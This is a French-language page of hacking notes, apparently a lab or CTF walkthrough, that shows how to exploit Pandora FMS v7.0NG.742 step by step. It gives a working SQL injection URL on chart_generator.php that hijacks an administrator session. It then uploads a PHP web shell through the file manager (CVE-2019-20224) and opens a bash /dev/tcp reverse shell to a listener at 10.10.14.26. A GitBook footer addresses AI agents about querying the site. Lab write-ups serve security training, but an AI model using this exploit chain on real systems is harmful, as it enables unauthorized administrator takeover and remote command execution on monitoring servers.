> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/pandora-cms-exploitation.md).

# Pandora

## Exploitation de Pandora FMS - Injection SQL

### **Injection SQL - détournement de session administrateur**

Cette commande redirige les requêtes HTTP locales vers le serveur web interne.

<figure><img src="/files/5d40b0f54306fdda46bfe8b9ded9746ce6f47a79" alt=""><figcaption></figcaption></figure>

Version détectée : **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/e10e081a7e729f3ebffdd6e74d8cf03b050af6fa" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Vulnérabilité connue dans `chart_generator.php` via la `session_id` variable :

<figure><img src="/files/421dcd30206c39e2551384600b15b5607e0bc525" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/6622f5dff3fe19a3ac46d0f6ce1abdeaab6afa45" alt=""><figcaption></figcaption></figure>

Exécutez l'injection SQL pour détourner une session administrateur :

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Cette commande renvoie un cookie de session administrateur.

<figure><img src="/files/2dc0008eedecbf340d32e8184a4b1f549dc039dc" alt=""><figcaption></figcaption></figure>

Utilisez le cookie pour accéder au tableau de bord en tant qu'administrateur.

<figure><img src="/files/24313e1fe73f9781fa5c868603329bc4966b3e08" alt=""><figcaption></figcaption></figure>

### **Exécution de code à distance (RCE) - /\[CVE-2019-20224]**

Aller à **Gestionnaire de fichiers**.

<figure><img src="/files/e73d4bebae6cf6b50ddd55c0bfa0a088fe32076c" alt=""><figcaption></figcaption></figure>

Téléversez un fichier PHP malveillant :

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Le fichier est accessible à `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/4894ab98db3f23df779575532e262ffdc10ef7b2" alt=""><figcaption></figcaption></figure>

Exécutez un shell inversé :

* Démarrez un écouteur local :

```bash
nc -nvlp 443
```

* Exécution de commandes sur le serveur cible :

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

L'accès est obtenu en tant qu'utilisateur `matt`.

<figure><img src="/files/7f555abd6b7a3432be0ebd6d1b2aedd471615a57" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
